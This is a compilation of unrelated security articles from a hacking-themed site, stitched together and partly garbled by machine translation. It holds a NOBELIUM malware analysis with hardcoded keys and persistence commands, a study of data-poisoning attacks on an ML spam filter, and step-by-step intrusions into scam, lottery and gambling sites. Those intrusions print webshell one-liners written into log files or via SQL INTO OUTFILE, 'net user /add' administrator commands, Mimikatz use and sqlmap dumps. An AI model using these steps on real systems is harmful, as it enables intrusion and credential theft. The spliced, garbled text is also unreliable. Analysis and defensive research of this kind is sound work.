0x02 BoomBox：BOOM.exe（惡意下載器）BOOM.exe被微軟追踪為“BoomBox”，可以說是一個惡意下載程序。下載器負責下載和執行感染的下一階段組件。這些組件是從Dropbox 下載的（使用硬編碼的Dropbox Bearer/Access 令牌）。



執行時，BoomBox 確保在其當前工作目錄中存在名為NV 的目錄。如果該目錄存在，BoomBox 會在新的Windows 資源管理器窗口中顯示NV目錄的內容（讓用戶打開PDF 文件）。



 img



接下來，BoomBox 確保系統上不存在以下文件：%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll（此文件將在本分析的後面部分介紹）。 BoomBox 會枚舉受害者係統的各種受害者主機信息，例如受害者係統的主機名、域名、IP 地址和用戶名，以編譯以下字符串：



 img



接下來，BoomBox 使用硬編碼的加密密鑰“123do3y4r378o5t34onf7t3o573tfo73”和初始化向量(IV) 值“1233t04p7jn3n4rg”對上面的主機信息字符串進行加密。為了將數據偽裝成PDF 文件的內容，BoomBox 將PDF 的magic標記添加到上面的AES 加密主機信息字符串中：



 img



BoomBox 繼續將上述數據（偽裝成PDF 文件）上傳到Dropbox 中的一個專門針對每個受害者的系統文件夾。出於演示目的，下麵包含用於將文件/數據上傳到Dropbox 的示例HTTP(s) POST 請求。



 img



為確保文件已成功上傳到Dropbox，BoomBox 使用一組正則表達式值來檢查來自Dropbox 的HTTP 響應。如下所示，正則表達式用於檢查從Dropbox 收到的HTTP 響應中是否存在is_downloadable、path_lower、content_hash和size字段。值得注意的是，即使上傳操作不成功，BoomBox 也會忽略此檢查的結果並繼續進行。



 img



接下來，BoomBox 從Dropbox 下載加密文件。出於演示目的，下面顯示了用於從Dropbox 下載加密文件的示例HTTP(s) POST 請求。



 img



從Dropbox 成功下載加密文件後，BoomBox 丟棄加密文件頭部的前10 個字節和尾部的7 個字節，然後使用硬編碼的加密密鑰“123do3y4r378o5t34onf7t3o573tfo73”和IV 值對文件的其餘部分進行AES 解密“1233t04p7jn3n4rg”。 BoomBox 將解密後的文件寫入文件系統%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll。然後，它通過創建名為MicroNativeCacheSvc的Run 註冊表值來為NativeCacheSvc.dll建立持久性：



HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicroNativeCacheSvc



Run 註冊表值使用以下命令填充，該命令用於使用rundll32.exe並通過調用其名為“ _configNativeCache ”的導出函數來執行NativeCacheSvc.dll：



rundll32.exe %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll _configNativeCache



接下來，BoomBox 從Dropbox 路徑/tmp/readme.pdf下載第二個加密文件，丟棄加密文件頭部的前10 個字節和結尾的7 個字節，然後對文件的其餘部分進行AES 解密（使用與上述相同的AES IV 和密鑰）。它在%AppData%\SystemCertificates\CertPKIProvider.dll 中寫入解密文件，然後使用與上面相同的rundll32.exe命令繼續執行先前刪除的文件NativeCacheSvc.dll。



如果系統已加入域，BoomBox 會執行LDAP 查詢以通過過濾器((objectClass=user)收集所有域用戶的專有名稱、SAM 帳戶名稱、電子郵件和顯示名稱等數據) (objectCategory=person))。



 img



枚舉數據經過AES 加密（使用與之前相同的IV 和密鑰），封裝在偽造的PDF 文件中，並上傳到Dropbox 路徑/new/



0x03 NativeZone：NativeCacheSvc.dll（惡意加載器）NativeCacheSvc.dll，被稱為“NativeZone”，最恰當的描述是一個惡意加載器，它負責利用rundll32.exe加載惡意下載組件CertPKIProvider.dll。



NativeCacheSvc.dll的惡意功能位於configNativeCache的DLL 導出函數中。



 img



如上所示，導出函數通過調用名為eglGetConfigs的導出函數執行rundll32.exe來加載*%AppData%\SystemCertificates\Lib\* CertPKIProvider.dll。



0x04 VaporRage：CertPKIProvider.dll（惡意下載器）CertPKIProvider.dll，被稱為“VaporRage”，被描述為一個shellcode 下載器。此版本的VaporRage 包含11 個導出函數，包括eglGetConfigs，它包含DLL 的惡意功能。



 img



正如前面所提到的，NativeZone利用RUNDLL32.EXE執行eglGetConfigs的導出功能CertPKIProvider.dll。執行時，導出函數首先確保系統上存在NativeZone DLL %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll（否則會終止）。接下來，導出功能向合法但受到攻擊的WordPress 站點holescontracting[.]com發出HTTP(s) GET 請求。 GET 請求由動態生成和硬編碼的值組成，例如：



 img



GET 請求的目的是首先將系統註冊為受到威脅，然後從WordPress 站點下載XOR 編碼的shellcode blob。成功下載後，導出函數XOR 對shellcode blob 進行解碼（使用硬編碼的多字節XOR 密鑰“346hrfyfsvvu235632542834”）。



 img



然後通過跳轉到可執行內存區域中shellcode blob 的開頭，繼續在內存中執行解碼的shellcode。下載、解碼、執行過程無限期地重複，大約每小時一次，直到從內存中卸載DLL。 VaporRage 可以執行其C2 服務器提供的任何兼容shellcode，包括Cobalt Strike 階段shellcode。



定制Cobalt Strike 加載器NOBELIUM 使用了多個自定義Cobalt Strike Beacon 加載器（可能使用自定義Artifact Kit 模板生成）來啟用其惡意活動。其中包括TEARDROP、Raindrop 和其他自定義加載器。



 img



新的加載器DLL 包含誘餌導出名稱和函數，以及從合法應用程序借用的代碼和字符串。新的NativeZone 加載器可以分為兩種變體：



變體#1：這些加載器嵌入了編碼/加密的Cobalt Strike Beacon shellcode



變體#2：這些加載器從另一個附帶文件（例如，RTF 文件）加載編碼/加密的Cobalt Strike Beacon shellcode。



在接下來的部分中，我們將討論我們在調查中觀察到的一些新的NativeZone Cobalt Strike Beacon 變體。



NativeZone 變體#1與之前的NOBELIUM 自定義Cobalt Strike 加載器（例如TEARDROP 和Raindrop）類似，這些NativeZone 加載器負責解碼/解密嵌入式Cobalt Strike Beacon 階段shellcode 並在內存中執行它。一些NativeZone 加載程序具有反分析反調試功能以阻止對樣本的分析。



在這些版本的NativeZone 中，攻擊者使用了各種編碼和加密方法來混淆嵌入的shellcode。例如，在下面的示例中，NativeZone 變體使用簡單的字節交換解碼算法來解碼嵌入的shellcode：



 img



 img



另一個示例採用不同的解碼方法來解碼嵌入式shellcode，如下所示：



 img



另一個示例採用去混淆方法，利用AES 加密算法解密嵌入的shellcode，如下所示：



 img



下面顯示了另一個利用AES 解密嵌入式Cobalt Strike shellcode blob 的NativeZone 示例：


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			



 1.jpeg



我們經常使用機器學習（ML）技術來提高網絡安全系統的質量，但是機器學習模型可能容易受到旨在“愚弄”它們以提供錯誤結果的攻擊。這可能會對我們的公司和客戶造成重大損害。因此，了解ML解決方案中的所有潛在漏洞以及如何防止攻擊者利用這些漏洞至關重要。



這篇文章是關於我們如何攻擊我們自己的DeepQuarantineML技術-它是反垃圾郵件系統的一部分，以及我們針對此類攻擊部署了哪些保護方法。但首先，讓我們仔細看看技術本身。



DeepQuarantineDeepQuarantine是一種神經網絡模型，用於檢測和隔離可疑電子郵件。它為反垃圾郵件系統爭取時間來更新我們的垃圾郵件過濾器並進行重新掃描。 DeepQuarantine流程類似於機場安全服務的工作，引起懷疑的乘客將被帶走進行額外檢查。在安全部門檢查他們的行李和檢查他們的文件時，乘客必須等待。如果經過檢查後發現沒有問題，則允許乘客通過，否則將被拘留。在反垃圾郵件系統中，安全服務的角色由反垃圾郵件專家和服務機構扮演，這些專家和服務機構在電子郵件被隔離時處理大量電子郵件並創建新的檢測規則。如果header分析揭示了垃圾郵件的新跡象，則會根據結果創建檢測規則。同時，在郵件被隔離的同時可能會處理其他電子郵件，從而產生新的檢測規則。電子郵件離開隔離區後，將對其進行重新掃描。如果這觸發了任何新規則，則消息將被阻止；如果沒有，則將其交付給收件人。請注意，隔離技術需要非常準確，以免延誤合法的電子郵件——就像機場安檢無法對每一位乘客進行全面檢查一樣，因為這會打亂出發時間表。如果這觸發了任何新規則，則消息將被阻止；如果沒有，則將其交付給收件人。請注意，隔離技術需要非常準確，以免延誤合法的電子郵件——就像機場安檢無法對每一位乘客進行全面檢查一樣，因為這會打亂出發時間表。



點擊此處閱讀有關DeepQuarantine工作原理的更多信息。要成功攻擊ML模型，必須知道兩件事：1）它用於決策的特徵；2）它的訓練數據是如何生成的。



為了識別可疑電子郵件，DeepQuarantine使用了一系列技術標頭（例如，圖1中此特性的值為“主題：發件人：收件人：日期：Message-Id：內容類型：X-Mailer”），加上Message-Id（唯一消息標識符）和X-Mailer（郵件客戶端名稱）字段的內容。選擇這些特性是因為它們取決於所使用的郵件客戶端的類型，並且可能包含垃圾郵件發送者的踪跡。



 2.png



圖1. 電子郵件技術header



圖2說明了算法的運作方式。左邊是來自PayPal的真實信息，右邊則是假的。如果要發送電子郵件，Message-Id是必需的，其格式取決於郵件客戶端。如果我們將偽造的header與原始header進行比較，最大的不同是該字段缺少域和隨機字符序列。



 3.png



圖2. 真假PayPal 電子郵件header的比較



詐騙者在模型處理的各種技術標頭中留下的各種痕跡表明這是一項艱鉅的任務。



現在讓我們看看生成訓練數據的過程，這是對我們的模型實施攻擊的起點。



 4.png



圖3. 訓練樣本生成方案



用於訓練模型的數據和標籤是在反垃圾郵件系統的一般操作過程中自動生成的。訓練樣本生成方案如圖3所示。在掃描郵件後，如果客戶端同意數據處理，Anti-Spam會將其header和判定轉發到卡巴斯基安全網絡（KSN）。這些數據從KSN被發送到一個存儲庫，在那裡它被用來訓練模型。郵件header用作分析樣本，反垃圾郵件引擎的判定用作標籤。



對機器學習模型的攻擊是什麼使得攻擊機器學習模型成為可能？這主要是因為使用機器學習技術，訓練樣本中的數據分佈有望與模型在現實世界中遇到的數據分佈相匹配。違反此原則可能會導致算法出現意外行為。因此，對機器學習模型的攻擊可以分為兩種：



00001.對抗性輸入——生成輸入數據，導致已經訓練和部署的模型給出錯誤的判斷。



00002.數據中毒——影響訓練樣本以產生有偏差的模型。



在第一種情況下，為了成功，對手通常需要直接與模型交互。 DeepQuarantine只是反垃圾郵件系統的一個組成部分，因此排除了與其直接交互的可能性。第二種類型的攻擊對我們的模型來說危險得多。讓我們仔細看看。



數據中毒攻擊可以進一步分為兩個子類型：



00001.模型傾斜——污染訓練樣本以改變模型的決策邊界。這種攻擊的一個例子是針對Google的垃圾郵件分類器，其中高級垃圾郵件組試圖通過將大量垃圾郵件標記為“非垃圾郵件”來污染訓練樣本。目的是讓系統允許更多垃圾郵件通過。



00002.後門攻擊——將具有特定標記的示例引入訓練樣本以迫使模型做出錯誤決策。例如，在屬於某個類別（比如狗）的圖片中嵌入一個灰色方塊，僅當模型在看到這個方塊時才開始識別狗，而這張照片可能根本不是狗。



有幾種方法可以降低數據中毒攻擊的風險：



00001.確保來自少量來源（例如，來自一小群用戶或IP地址）的輸入數據不佔訓練樣本的大部分。這會迫使垃圾郵件發送者採取額外的措施來防止他們的操作被作為統計異常值而遭到拒絕，從而使垃圾郵件發送者更難實施此類攻擊。



00002.在發布模型的更新版本之前，使用一系列技術將其與最新的穩定版本進行比較，例如A/B測試（比較測試環境中各種變化的版本）、摸黑啟動（為一小部分試點客戶運行更新的服務）或回溯測試（測試歷史數據的模型）。



00003.創建一個基準數據集，該數據集的正確評估結果是已知的，您可以根據該數據集驗證模型的準確性。



對DeepQuarantine的攻擊現在讓我們繼續攻擊DeepQuarantine。假設攻擊者的目標是隔離其雇主的競爭對手公司發送的所有電子郵件，這些電子郵件將嚴重影響其業務流程。我們調查攻擊者的步驟：



00001.找出公司使用的郵件客戶端以及公司發送電子郵件時生成的header類型。



00002.生成header與受攻擊公司類似的垃圾郵件。在郵件正文中添加一些明顯的垃圾郵件過濾觸發器，例如，顯式廣告或已知的網絡釣魚鏈接，這樣郵件幾乎不可避免地被標記為垃圾郵件。



00003.將這些消息發送給我們的客戶端，以便反垃圾郵件系統阻止它們，並將相關統計信息輸入到訓練和測試樣本中，如圖3所示。



如果在對中毒樣本進行訓練後，模型通過了測試，則被攻擊的模型將被釋放，並且來自受害公司的電子郵件開始被隔離。接下來，我們嘗試不同的數據中毒技術。



方法首先，我們採集了乾淨的訓練和測試數據樣本，這些樣本由一組帶有相應反垃圾郵件判斷的電子郵件header組成。在這兩個樣本中，我們都添加了模仿受攻擊公司中毒的header，並以不同的數量判定“垃圾郵件”：樣本大小的0.1%、1.5%和10%。對於每個實驗，訓練樣本和測試樣本中中毒數據的比例相同。



在中毒訓練樣本上訓練模型後，我們使用測試樣本來檢查精度（正確的肯定結論在所有模型的肯定結論中的比例）和召回率（正確肯定結論在垃圾郵件標題總數中的比例）樣本）指標，以及模型分配給受攻擊公司電子郵件的“垃圾郵件”判決的可信度。



實驗1.模型傾斜我們的第一個實驗實施了一種模型傾斜方法，就像對谷歌反垃圾郵件模型的攻擊一樣。然而，與穀歌的例子不同，我們的目標是模擬對特定公司的攻擊，這稍微複雜一些。在本例中，我們在Message-Id字段中使用了所選公司的域（圖4），但ID本身是隨機生成的，僅保留該公司使用的郵件客戶端特定的長度。我們沒有更改受攻擊公司郵件客戶端的header序列或X-mailer字段。



 5.png



圖4. 中毒示例模板



我們分析了我們的目標指標（精度和召回率）如何根據中毒數據相對於訓練樣本量的比例在測試數據集上發生變化。結果如圖5所示。如圖所示，相對於數據中沒有中毒示例，目標指標幾乎保持不變。這意味著可以發佈在中毒樣本上訓練的模型。



 6.jpeg



圖5. 取決於中毒數據量的目標指標



我們還使用來自我們選擇的公司的真實電子郵件的header，測試了數據中毒如何影響模型對消息應該被隔離的置信度。



如圖5所示，當中毒數據的份額超過5%時，模型已經強烈傾向於認為應該隔離受攻擊公司的電子郵件。因此，這種有偏見的模型可能會切斷該公司與我們客戶之間的通信，而這正是攻擊者試圖實現的目標。



 7.jpeg



 8.jpeg



 9.jpeg



 10.jpeg



 11.jpeg



圖6. 根據數據中毒的數量，模型對隔離受害公司電子郵件的需求的信心密度發生的變化



現在，基於那些導致模型做出錯誤決策的對象，讓我們看看它在看什麼。為此，我們使用Saliency via Occlusion方法構建了一系列特徵圖（見圖6），其中header某些部分的顯著性是通過交替隱藏這些部分並評估這是如何改變模型的置信度來建立的。圖片中的區域顏色越深，說明神經網絡在決策過程中就越關注這個區域。該圖還顯示了來自所選公司（Target）和其他公司（Other）的電子郵件被隔離的數量。



 12.jpeg



圖7. 特徵圖



正如我們在圖中看到的，只要模型沒有足夠的中毒數據來對來自受攻擊公司的電子郵件返回誤報，該模型就主要集中在Message-Id字段上。但是一旦中毒數據足以使模型產生偏差，它的注意力就會均勻地分佈在Message-Id、X-mailer字段（圖中的MUA）和電子郵件中的標題序列（標題序列）之間。



請注意，儘管5%的中毒數據足以進行成功攻擊，但從絕對值來看，這是相當多的數據。例如，如果我們使用超過1億封電子郵件進行訓練，攻擊者將需要發送超過500萬封電子郵件，而這些郵件很可能會被監控系統接捕獲。



我們能否更有效地攻擊我們的模型？事實證明我們可以。



實驗2.帶時間戳的後門攻擊某些郵件用戶代理在Message-Id字段中指定時間戳。我們使用這個事實來創建帶有與模型發布日期相對應的時間戳的中毒header。如果攻擊成功，該模型會將在發布當天收到的來自受攻擊公司的電子郵件進行隔離。圖8顯示了我們如何生成中毒數據。



 13.png



圖8. 數據後門



這種數據中毒是否會影響模型預發布測試中的目標指標？結果與模型傾斜攻擊相同（圖9）。



 14.jpeg



圖9. 取決於中毒數據量的目標指標



所需的數據中毒量是否會影響攻擊的效率？正如我們在圖10中看到的，在這種情況下，攻擊者只需要0.1%的中毒數據即可將模型轉變為將受害公司的電子郵件標記為可疑。



 15.jpeg



 16.jpeg



 17.jpeg



 18.jpeg



 19.jpeg



圖10. 基於數據中毒量的模型對隔離受害公司電子郵件的信心密度的變化



讓我們再次看一下特徵圖，看看我們的模型在本例中關注了什麼。圖11顯示，在中毒率為0.1%時，模型側重於域起始區域、代理類型和header序列，神經網絡主要集中在時間戳上。我們還注意到，當模型只關注時間戳時，它會對來自其他公司的電子郵件（這些公司的Message-Id也以時間戳開頭）發出更多誤報。隨著中毒級別的增加，模型變得專注於時間戳和域起始區域。同時，它對X-mailer領域和header序列。



 20.jpeg



圖11. 特徵圖



實驗3.帶時間戳的後門攻擊-延遲攻擊在之前的實驗中，我們能夠顯著提高攻擊效率。但實際上，攻擊者不太可能知道模型的發布日期。在這個實驗中，我們決定進行延遲攻擊，看看這是否會影響測試結果。為此，我們生成了帶有時間戳的有毒header，時間戳從當前的發布日期前移一年。



結果如圖12所示：樣本中毒在測試過程中沒有以任何方式反映出來，這對我們來說是最危險的結果，因為這意味著攻擊幾乎不可能被監測出來。鑑於後門將在未來不確定的時刻被激活，即使是摸黑啟動和A/B測試也無助於識別攻擊。



 21.jpeg



 22.jpeg



 23.jpeg



 24.jpeg



 25.jpeg



圖12.模型對隔離受害公司電子郵件需求的信心依賴於數據中毒量



根據實驗結果，我們得出以下結論：



00001.模型傾斜需要相當多的中毒樣本



00002.攻擊的事實並沒有反映在準確率和召回率上



00003.添加“後門”（在我們的例子中是時間戳）使攻擊更有效



00004.在延遲攻擊的情況下，摸黑啟動和A/B測試可能無效



我們通過實驗證明了對我們技術的成功攻擊。但這又引出了一個問題：如何防禦此類攻擊？



防止對ML模型的攻擊在我們的實驗背景下，讓我們仔細看看防範數據中毒攻擊的方法，我們在“對機器學習模型的攻擊”這一節中提到過：訓練數據的受控選擇；A/B測試、摸黑啟動或反向測試等技術；生成精心控制的基準數據集。訓練樣本的受控選擇確實使攻擊實現複雜化，因為攻擊者必須找到一種發送虛假數據的方法，因此很難分組和過濾。這在技術上可能很困難，但不幸的是，並非不可能。例如，為了防止中毒電子郵件按IP地址分組，攻擊者可以使用殭屍網絡。



當涉及到創建一個額外的基準數據集時，如果數據分佈隨時間發生變化，問題就出現了——該數據集將保持當前狀態多長時間。



將更新的模型與最新的穩定工作版本進行比較似乎是一個更好的解決方案，因為這使我們能夠監控模型的變化。但是如何將它們相互比較呢？



讓我們考慮兩個選項：比較當前測試數據集上的模型版本（選項1），並比較每個版本發佈時的當前測試數據集上的模型版本（選項2）。下表顯示了我們為這兩個選項運行的測試序列。



 image.png



在模型對比的第二階段，我們進行了一系列的統計檢驗：首先，我們比較了模型的目標指標。在這個階段，我們看到在不同程度的數據污染的樣本上訓練的原始版本和更新後的版本之間沒有顯著差異。我們在實驗攻擊中獲得了類似的結果。



马云惹不起马云對配對和獨立樣本的學生t檢驗



马云惹不起马云配對樣本的Wilcoxon符號秩檢驗



马云惹不起马云對獨立樣本進行Mann-Whitney U檢驗



马云惹不起马云樣品均勻性的Kolmogorov-Smirnov檢驗



實驗揭示了一些奇怪的事情：結果證明，即使在比較兩個在乾淨樣本上訓練的模型時，標準也會產生顯著差異，儘管這些模型的預測分佈彼此差異不大。發生這種情況的原因是，有了大量的數據，測試對分佈形狀的最細微變化過於敏感。但是當我們減少統計測試中的數據量時，我們經常發現根本沒有顯著差異，因為攻擊目標的消息甚至可能不會最終出現在所採集的樣本中。對這個結果不滿意，我們制定了自己的標準。



我們基於這樣的一個事實，即在乾淨樣本上訓練的模型在相應測試數據集產生的分佈形狀方面幾乎沒有區別。而在對中毒樣本進行訓練的模型的預測分佈中，“駝峰”可能出現在分佈的右端。圖13顯示了一個大的“駝峰”以供說明。但實際上，它幾乎不會引起注意，因為來自受攻擊公司的電子郵件量可能只佔總消息流的一小部分。



 26.png



圖13.合法電子郵件上模型預測的模型分佈



在分析過程中，我們得出了Wasserstein指標。實際上，該指標用作分佈之間距離的度量。我們的標準如下：



H0：訓練前後對非垃圾郵件樣本的預測分佈沒有顯示出統計上的顯著變化，即係統保持不變。



H1：分佈的變化在統計上是顯著的，也就是說，系統發生了變化。



我們使用Wasserstein度量來評估合法電子郵件樣本中


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
今日、友人は突然、電話を転送し、1,200元をだまされた特定の人がだまされたと言った。彼はショックを受けました。予想どおり、試してみます。图片



詐欺のウェブサイトの住所に来るつもりです。オープニングは次のようなものです。图片は情報を決定的に収集します：（メッセージ詐欺師が友人のお金を返しているので、彼は彼にある程度顔とモザイクを与えます） 图片はオープン80ですので、公式ウェブサイトからカスタマーサービスソフトウェアを見つけることに関するチュートリアルをご覧ください。バックグラウンドパスは次のとおりであることがわかりました： /admin 图片直接アクセスは予想通り、图片わからない、私は直接管理者：123456、ハハハに行くとは思っていませんでした：图片次のステップはゲッシェです。私はそれが直接編集可能な言語構成ファイルであることがわかりました：图片ここで簡単な文を使用してIPをブロックしました。私はそれを見て、実際にクラウドシールドを使用しました。この嘘つきは少し安全であるため、ゴジラキラーを使用する必要がありました（バイパス機能を直接持っています。これは使いやすいです、正しいです）：图片善人、障害者機能は非常に多く、バイパス图片discover



Godzillaのディレクトリアクセスバイパス：图片を直接使用します



ディレクトリを閲覧するとき、PHPには複数のバージョンがあることがわかりました。私はPHP5の調達権に精通していません（ゴジラはハハには適用されません）。 PHP7を見た後、他のサイトを見つけることにしました：图片他のサイトにアクセスできます。 IPの解析はこれだけです。最後に、PHP7 图片を見つけました



最終的にPHP7を見つけましたが、Linuxバージョンのカーネルは非常に新しいものです。電力の上昇は問題であるように思われます图片



次に、予想通り、ゴジラの関数は実行可能可能性のコマンドをバイパスします：图片は、実行後に低生物シェルを直接取得します：图片



これは、許可が非常に低いWWWユーザーです。ディレクトリにも豚の殺害ツールが見つかりました：フレーム图片



ワンクリックで詐欺の詳細へのリンクを生成することができます：图片（今では誰もがQQ Wechatトランザクションの重要性を信じてはいけないことを知っています。



最後に、収集されたデータベースリンクやその他の情報に基づいて、データベースを調べます。ゴジラのリンクに問題があります：图片



詐欺サーバーにアクセスするためにFRPを構築する：图片



情報：图片 图片 图片



WWWユーザーはMySQL Directory.soファイルに書き込むことができないため、MySQLをエスカレートできません。



Sudoは常にWWWパスワードを使用する必要がありましたが、Sudoも使用できません。



suidビットのコマンドは、テーブルに示されているとおりです。



/usr/bin/chage



/usr/bin/gpasswd



/usr/bin/newgrp



/usr/bin/mount



/usr/bin/su



/usr/bin/umount



/usr/bin/pkexec



/usr/bin/chfn



/usr/bin/chsh



/usr/bin/at



/usr/bin/sudo



/usr/bin/crontab



/usr/bin/passwd



/usr/sbin/grub2-set-bootflag



/usr/sbin/unix_chkpwd



/usr/sbin/pam_timestamp_check



/usr/lib/polkit-1/polkit-agent-helper-1は最終的にCVE-2018-189553359www.freebuf.com/news/197122.html 图片最終的に、ソートされた情報が友人に提出され、警察には深くなりませんでした。



この記事は、元のリンクから再現されています。 https://xz.aliyun.com/t/9200https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247486388IDX=1SN=CFC74CE3900B5A89478BA B819EDE626CHKSM=CE67A12DF910283B8BC136F46EBD1D8EA59FCCE80BCE216BDF075481578C479FEFA58973D7CBSCENE=21＃WECHAT_REDIRECT


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
phpmyAdminの弱いパスワードを取得します



宝くじサイトのIPは情報を介してxxxであり、検出スキャンはphpmyadminが存在することを明らかにします。推測を通じて、デフォルトの弱いパスワード（root/root）を使用して、phpmyAdminにログインします。



 图片



 图片



PHPMyAdminバックグラウンドSQLクエリを介してファイルをログに記録するシェルを書き込む



phpmyAdminのSQLクエリ関数を使用して、ログファイルにTrojanを文章を書き込みます。



プロセスとコマンドは次のように:です



1。ログ機能をオンにします：Global general_log=onを設定します。



2。phpmyadmin変数をクリックして、ログファイル名:を表示します



 图片



ここのログファイルはtest.phpです。



3。sqlコマンドを実行し、ログファイルに文を書きます: '？php assert（$ _ post [' test ']）;';



 图片



4。実行が成功した後に戻ります。



 图片



5.ログファイルを表示します。



 图片



6.包丁を接続してユーザーを追加し、Mimikatzをアップロードします。



包皮ナイフを使用してログファイルに接続するトロイの木馬、xxx/test.phpパスワード:test



 图片



システム管理者システムの許可であることを確認して確認します。ユーザーを追加して管理グループに追加してください。



コマンドは: C: \ windows \ system32 \ net.exeユーザーテストテスト！@＃123 /addです



c: \ windows \ system32 \ net.exeローカルグループ管理者テスト /追加



Mimikatazをサーバーにアップロードします。



 图片



7。3389接続と管理者のパスワードを読み取ります。



（1）直接的なTelnet IP 3389テストではアクセス可能であることがわかりました。そのため、3389を直接接続して入力しました。



 图片



（2）または、次のコマンドがここの包丁で実行され、3389までにポートを開くとクエリをします。



ステップ1 :タスクリスト /SVC | findstr termerviceリモートデスクトップサービスのプロセスをクエリします



ステップ2 : Netstat -Ano | FindStr **** //リモートデスクトップサービスプロセス番号に対応するポート番号を確認します。



（3）Mimikatzを実行し、管理者グループのログインパスワードを読み取ります。



 图片



（4）取得した管理者/xxxxアカウントパスワードを使用して、リモートでサーバーにログインします。



 图片



サーバーは、phpMyStudyを使用してバッチに宝くじステーションを建設することがわかっていました。約12個のサイトがあり、いくつかのサーバー上のWebサイトドメイン名に自由にアクセスできます。一部のスクリーンショットは次のように:です



システム1 :



 图片



システム2 :



 图片



システム:



 图片



舞台裏1 :



 图片



舞台裏2 :



 图片



元のリンクから転載： https://mp.weixin.qqq.com/s?__biz=mzg2ndywmda1na==mid=2247487003IDX=1SN=5C85B34CE6FFB400FDF858737E34DF3DCHK SM=CE67A482F9102D9405E838F34479DC8D1C6B793D3B6D4F40D9B3CEC9CC87F1455555555CB3DDCCENE=21＃WECHAT_REDIRECT



https://blog.csdn.net/weixin_39997829/article/details/109186917


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
 0x00はチェスとカードのウェブサイトに遭遇します


 1。単純なパケットキャプチャ分析



 图片



 图片



2.ユーザー名に単一の引用符を追加すると、エラーが直接報告されます。閉じた後、それは正常です。 SQLに着実に注入します。



3.テスト後、セキュリティデバイスは見つかりませんでした。SQLMAPに移動します。



4.プロセスはやり過ぎではありません。次のデータを取得するだけです



Current-User:開発者@％



@@beadir: '/usr/'を選択します



select user（）: 'developer@121.x.x.x'



データベース（）: 'edc'を選択します



System_user（）: 'developer@121.x.x.xを選択



@@ Character_Sets_dir: '/usr/share/mysql/charsets/'を選択



@@ Character_set_client: 'utf8'を選択



@@datadir: '/var/lib/mysql/'を選択



@@ Character_set_server: 'latin1'5を選択します。情報収集の波を通じて、現在のユーザー許可は非常に低く、有用な情報はほとんどありません



6.ターゲットポートをスキャンして、かなり多くのポートが開いていることがわかりました。



 图片



7.ページなしでポート80を開きます



 图片



ポート888は、Apacheのデフォルトのホームページです。絶対パス/var/www/html/



ポート9090は、ギャンブルステーション管理ログインアドレスです



ポート9091はギャンブルステーションメンバーのログインアドレス图片です



 图片



8。テスト後、これらの2ページで利用できる脆弱性はありません。



 0x01ブレークスルーポイント


 1。ディレクトリをスキャンすることにより、エラーページが見つかり、注入ポイントを取得し、info.phpを取得します



 图片



 图片



2。データベースのルートアクセス許可を取得します



 图片



db_test現在のデータベース



[19:54:48] [情報] Resumed: 'root'@'localhost'



[19:54336048] [情報] Resumed: 'Developer'@'localhost'



[19:54:48] [情報] Resumed: 'root'@'127.0.0.1'



[19336054:48] [情報] Resumed: 'syncopy'@'222.xxx.xxx.xxx'



[19:54336048] [情報] Resumed: 'MLH'@'LocalHost'



[19336054:48] [情報] Resumed: 'Developer'@'％'



[19336054:48] [情報] Resumed: 'MLH'@'％'



[19336054:48] [情報] Resumed: 'edc'@'％'



[19:54:48] [情報] Resumed: '6hc_nav'@'％'



 图片



 0x02シェルに書き込みます


 1。SQLステートメントを介してシェルに書き込むことは成功していません。積み重ねられたクエリの場合にのみ、quEries以外のSQLステートメントを実行できます



sqlmap -sql-shell



'？php eval（$ _ post [' x ']）;'を選択しますInto Outfile '/var/www/html/25u_ft/1.php' 图片



2。別の方法で書いてください



-file-write '/localhost/shell.php' ---file-dest '/var/www/html/25u_ft/test.php'3。書くことはまったく不可能です。書き込み許可がなく、許可のみがあることがわかりました



-file-read '/var/www/html/25u_ft/info.php'4。正常に読み取ることができ、構成ファイルを読み取ろうとした後、エラーパスに乗り出しました



 图片



图片



（1）私はいくつかの構成ファイルを読みました、そして私は知らない



（2）戻って管理者のパスワードを挿入し、背景からシェルを取得してみてください



-d '10fenft' -t 'g_user' -c 'g_name、g_password'  -  dump 图片



（3）バックグラウンドに正常にログインします



 图片



 图片



（4）アップロード機能のない単純な背景のグループ



 0x03 getShell 


 1。必要な条件がある場合は、シェルを取得できません。これは非常に不快です。



2。さまざまなチャネルを介してこのIPをクエリし、突然、ドメイン名が以前に解決されたことがわかりました。



 图片



3.素晴らしい、ドメイン名は正常にアクセスできます、それはフォーラムです



 图片



4.それはThinkphpであることが判明し、絶対的なパスも明らかにされました



5。以前の書き込み操作を繰り返すとすぐに成功します、ハハハハ



 图片



 0x04パッケージソースコード


 1。シェルへの直接リンク



 图片



2。権限は高くありませんが、パッケージングソースコードにはまったく影響しません。



 图片



 0x05要約


同じタイプのサイトがたくさんあることがわかりました



ソースコードは以下に配置されています



https://xzfile.aliyuncs.com/upload/affix/20210513165936-8aadc29a-b3c9-1.rarは、元のリンクから再現されています。 https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na=mid=2247486232Idx=1SN=301810A 7BA60ADD83CDCB99498DE8125CHKSM=CE67A181F9102897905FFD677DAFEB90087D996CD2E7965 300094BD29CBA8F68D69F675829BESCENE=21＃WECHAT_REDIRECThttps://XZ.ALIYUN.COM/T/9567


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
某应用存在后台RCE，根据相关信息，我们在对后台审计过程，这里发现一处调用newInstance实例化
ojnq5prt21t14907.jpg
溯源找到InterfaceRegisterCustomOperationCmd #excute
tilzfhlg3qw14911.jpgq0oxmgyccvs14915.jpgltooswhmyhi14918.jpgr2kdiruazx514922.jpg
访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation
getInterfaceRegisterCustomOperation调用了execute，首先判断了用户，所以这里是后台漏洞
eyzufmlts0114925.jpg
因为我们需要这个污点函数JavaCodeToObject，所以要满足if的条件并且控制var18和var20
amoqh5hstpp14929.jpg
这里var14要为add
0xyjwebtbce14930.jpg
